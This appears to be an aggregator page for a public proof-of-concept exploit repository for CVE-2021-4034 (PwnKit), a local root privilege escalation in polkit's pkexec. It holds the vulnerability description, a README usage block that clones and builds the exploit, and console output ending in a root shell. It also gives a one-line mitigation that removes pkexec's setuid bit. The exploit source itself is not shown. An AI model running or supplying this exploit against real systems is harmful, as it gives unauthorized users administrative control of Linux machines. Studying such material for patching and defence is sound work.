CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

https://github.com/Anonymous-Family/CVE-2021-4034

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.

Description

Linux system service bug gives root on all major distros, exploit published A vulnerability in the pkexec component of Polkit identified as CVE-2021-4034 PwnKit is present in the default configuration of all major Linux distributions and can be exploited to gain privileges over the compj researchers.

Readme

<h1 align=center>CVE-2021-4034 Exploit</h1>
<p align=center><img src="https://shields.io/badge/Made_With-C-green" />
<img src="https://shields.io/badge/Compiled_With-GCC-yellow" />
  <img src="https://shields.io/badge/Tested_On-Ubuntu_20.04.3_LTS_x86__64 -red" />
</p>

## Usage
```bash
$ git clone https://github.com/Anonymous-Family/CVE-2021-4034.git
$ cd CVE-2021-4034
$ make
[!] CVE-2021-4034 Exploit By whokilleddb
[!] Initializing Setup
[+] Setup Done :D
[!] Setting Root Privileges
[!] Launching Root Shell
# /bin/whoami
root
```
## Rough Patch
```bash
# chmod 0755 `which pkexec`
```

**Note: You can configure the options by playing around with `include/config.h`**

File Snapshot

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